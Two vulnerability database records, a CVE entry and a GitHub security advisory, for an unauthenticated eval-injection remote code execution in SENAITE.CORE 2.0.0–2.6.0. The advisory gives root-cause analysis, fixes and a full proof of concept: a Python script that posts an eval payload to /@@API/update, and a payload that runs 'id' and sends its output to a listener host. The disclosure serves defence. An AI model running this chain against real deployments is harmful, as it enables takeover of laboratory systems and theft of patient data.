{
  "affected": [
    {
      "affectedData": [
        {
          "product": "senaite.core",
          "vendor": "senaite",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c= 2.6.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SENAITE.CORE is the core framework for the SENAITE laboratory information management system. From 2.0.0 to 2.6.0, the SENAITE.CORE JSON API permits unauthenticated remote code execution through a two-request chain involving missing authorization and unsafe evaluation. The state-changing routes in src/bika/lims/jsonapi/update.py, including update, update_many, remove, doActionFor, doActionFor_many, and getusers, do not enforce the senaite.core: Access JSON API permission before resolving attacker-selected objects. In src/bika/lims/jsonapi/init.py, set_fields_from_request passes raw request values for RecordsField and RecordField instances to eval() before field mutator write-permission checks execute. An anonymous attacker can discover the bika_setup object identifier through @@uuid, send a value such as RejectionReasons to /@@API/update, and execute arbitrary Python in the Zope worker before a later mutation failure rolls back ZODB changes. The same unsafe evaluation pattern is present in src/senaite/core/browser/fields/record.py and src/senaite/core/browser/fields/records.py. Successful exploitation can expose or modify laboratory data, files, and accounts and can disrupt the service."
    }
  ],
  "id": "CVE-2026-54569",
  "lastModified": "2026-08-26T18:16:40.930",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54569",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T17:35:12.375023Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-26T16:16:27.733",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/senaite/senaite.core/commit/a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/senaite/senaite.core/commit/ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/senaite/senaite.core/pull/2903"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/senaite/senaite.core/pull/2919"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/senaite/senaite.core/security/advisories/GHSA-jrw6-7x4q-w25j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/senaite/senaite.core/security/advisories/GHSA-jrw6-7x4q-w25j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-95"
        },
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "senaite.core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "last_affected": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T15:28:47Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires.\n\nThis is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required.\n\n### Details\n\nThe vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed.\n\n**1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862).** The route at [`src/bika/lims/jsonapi/update.py:45-165`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/update.py#L45-L165) does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling [`create.py:179-182`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/create.py#L179-L182), which does:\n\n```python\nif not getSecurityManager().checkPermission(AccessJSONAPI, parent):\n    raise Unauthorized(...)\n```\n\nThe check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at [`browser/configure.zcml:8-13`](https://github.com/collective/plone.jsonapi.core/blob/0.6/src/plone/jsonapi/core/browser/configure.zcml#L8-L13) with `permission=\"zope2.View\"`, which is granted to Anonymous on the Plone Site root.\n\nWhen an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default).\n\n**2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95).** Once an object has been resolved, [`set_fields_from_request` in `jsonapi/__init__.py:199-252`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L199-L252) iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at [line 240](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L240), **before** the field mutator and its `write_permission` check execute:\n\n```python\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n                   \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n    try:\n        value = eval(value)\n    except Exception:\n        logger.warning(\n            \"JSONAPI: \" + fieldname + \": Invalid \"\n            \"JSON/Python variable\")\n        return []\n```\n\nThe `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__(\u0027os\u0027).popen(\u0027id\u0027).read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.\n\nThe same `eval()` pattern is also present in the field setters at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Anonymous UID discovery.** The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone\u0027s standard [`@@uuid`](https://github.com/plone/plone.app.uuid) view:\n\n```\nGET /senaite/bika_setup/@@uuid HTTP/1.1\nHTTP/1.1 200 OK\nContent-Type: text/plain\n\n8dbc161fa9f74aa4ad6e76eb1934518a\n```\n\n**Origin.** Both flaws predate the SENAITE fork. The `eval()` sink was introduced in [`d7bf2d4507`](https://github.com/senaite/senaite.core/commit/d7bf2d4507) (2013-09-04) and the unchecked `update` route in [`be3d8cc916`](https://github.com/senaite/senaite.core/commit/be3d8cc916) (2013). Both remain present on the current 2.x development tip.\n\n### Suggested fixes\n\n**Fix 1: add `AccessJSONAPI` check to every state-changing route** in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in [`configure.zcml`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/configure.zcml) is in scope.\n\n```python\n# src/bika/lims/jsonapi/update.py\nfrom AccessControl import getSecurityManager\nfrom zExceptions import Unauthorized\nfrom senaite.core.permissions import AccessJSONAPI\n\ndef update(self, context, request):\n    if not getSecurityManager().checkPermission(AccessJSONAPI, context):\n        raise Unauthorized(\"You don\u0027t have permission to update via JSONAPI\")\n    savepoint = transaction.savepoint()\n    ...\n```\n\n**Fix 2: replace `eval()` with `json.loads()`.** The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:\n\n```python\n# src/bika/lims/jsonapi/__init__.py\nimport json\n\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n                   \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n    try:\n        value = json.loads(value)\n    except (ValueError, TypeError):\n        logger.warning(\"JSONAPI: %s: invalid JSON value\", fieldname)\n        return []\n```\n\nApply the same change at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Defense in depth: re-enable Plone\u0027s CSRF protection.** The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at [`src/senaite/core/interfaces/__init__.py:30`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/interfaces/__init__.py#L30), which disables `plone.protect`\u0027s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.\n\n### PoC\n\nTested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback.\n\n**`docker-compose.yml`**\n\n```yaml\nservices:\n  senaite:\n    image: senaite/senaite:v2.6.0\n    ports:\n      - \"8080:8080\"\n    environment:\n      PASSWORD: senaitestrong  # non-default; chain is credential-free\n      SITE: senaite\n    networks:\n      - poc\n\n  listener:\n    image: python:3.11-alpine\n    command:\n      - python\n      - -c\n      - |\n        import http.server, socketserver\n        log = []\n        class H(http.server.BaseHTTPRequestHandler):\n            def do_GET(self):\n                if self.path.startswith(\u0027/log\u0027):\n                    self.send_response(200); self.send_header(\u0027Content-Type\u0027, \u0027text/plain\u0027); self.end_headers()\n                    self.wfile.write((\u0027\\n\u0027.join(log)).encode())\n                else:\n                    log.append(self.path)\n                    self.send_response(200); self.end_headers(); self.wfile.write(b\u0027ok\u0027)\n            def log_message(self, *a, **k): pass\n        socketserver.TCPServer.allow_reuse_address = True\n        with socketserver.TCPServer((\u0027\u0027, 8000), H) as s: s.serve_forever()\n    ports:\n      - \"8000:8000\"\n    networks:\n      - poc\n\nnetworks:\n  poc:\n```\n\n**`poc.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0\"\"\"\nimport sys, time, urllib.error, urllib.parse, urllib.request\n\nTARGET = \"http://localhost:8080\"\nSITE = \"senaite\"\nLISTENER_HOST = \"http://localhost:8000\"\nLISTENER_INSIDE = \"http://listener:8000\"\n\nPAYLOAD = (\n    \"__import__(\u0027urllib2\u0027).urlopen(\"\n    f\"\u0027{LISTENER_INSIDE}/?id=\u0027 + \"\n    \"__import__(\u0027os\u0027).popen(\u0027id\u0027).read().replace(\u0027 \u0027, \u0027_\u0027).replace(\u0027\\\\n\u0027, \u0027_\u0027)\"\n    \")\"\n)\n\ndef http_get(url, timeout=5):\n    req = urllib.request.Request(url, headers={\"Accept\": \"*/*\"})\n    return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef http_post(url, fields, timeout=10):\n    body = urllib.parse.urlencode(fields).encode()\n    req = urllib.request.Request(url, data=body, method=\"POST\")\n    return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef wait_for_target():\n    deadline = time.time() + 600\n    while time.time() \u003c deadline:\n        try:\n            with urllib.request.urlopen(f\"{TARGET}/{SITE}/login_form\", timeout=3) as r:\n                if r.status == 200: return\n        except Exception: pass\n        time.sleep(3)\n    sys.exit(1)\n\ndef discover_bika_setup_uid():\n    body = http_get(f\"{TARGET}/{SITE}/bika_setup/@@uuid\", timeout=5).strip()\n    if len(body) == 32 and all(c in \"0123456789abcdef\" for c in body):\n        return body\n    sys.exit(1)\n\ndef fire_payload(uid):\n    try:\n        http_post(f\"{TARGET}/{SITE}/@@API/update\",\n                  {\"obj_uid\": uid, \"RejectionReasons\": PAYLOAD})\n    except urllib.error.HTTPError:\n        pass\n\ndef read_listener():\n    time.sleep(1)\n    try:\n        log = http_get(f\"{LISTENER_HOST}/log\", timeout=3)\n    except Exception:\n        return False\n    return \"id=\" in log\n\nif __name__ == \"__main__\":\n    wait_for_target()\n    uid = discover_bika_setup_uid()\n    fire_payload(uid)\n    sys.exit(0 if read_listener() else 1)\n```\n\n**Run**\n\n```\ndocker compose up -d\n# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning\npython3 poc.py\n```\n\n**Expected output**\n\n```\n[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0\n    captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_\n```\n\nThe captured query string is the stdout of `id` from the SENAITE Zope worker, fetched by the worker\u0027s `urllib2.urlopen` call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.\n\n### Impact\n\n**Vulnerability type:** Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).\n\n**Who is impacted:** Every SENAITE deployment whose Plone Site root grants `View` to Anonymous (the upstream default) and whose `/@@API/...` endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships `8080:8080` plain HTTP and `/manage` (ZMI) exposed.\n\n**Attacker capability after exploit:**\n- Arbitrary Python execution in the Zope worker process.\n- Full read/write access to the ZODB (`Data.fs` and `blobstorage`), so any patient/lab data the LIMS holds.\n- Filesystem access on the container\u0027s `/data` volume.\n- Outbound network egress from the worker.\n- Direct access to `acl_users` (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed `/manage` ZMI, this gives durable post-exploitation access.\n\n**Affected versions:** All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).\n\n### Credits\n\nDiscovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.\n\n- Dr. Simon Weber\n- Dipl.-Inf. Volker Sch\u00f6nefeld\n- Chiara Fliegner\n\nWebsite: https://machinespirits.com",
  "id": "GHSA-jrw6-7x4q-w25j",
  "modified": "2026-08-26T15:28:47Z",
  "published": "2026-08-26T15:28:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/security/advisories/GHSA-jrw6-7x4q-w25j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/pull/2903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/pull/2919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/commit/a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/commit/ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/senaite/senaite.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "senaite.core Vulnerable to Eval Injection and Missing Authorization"
}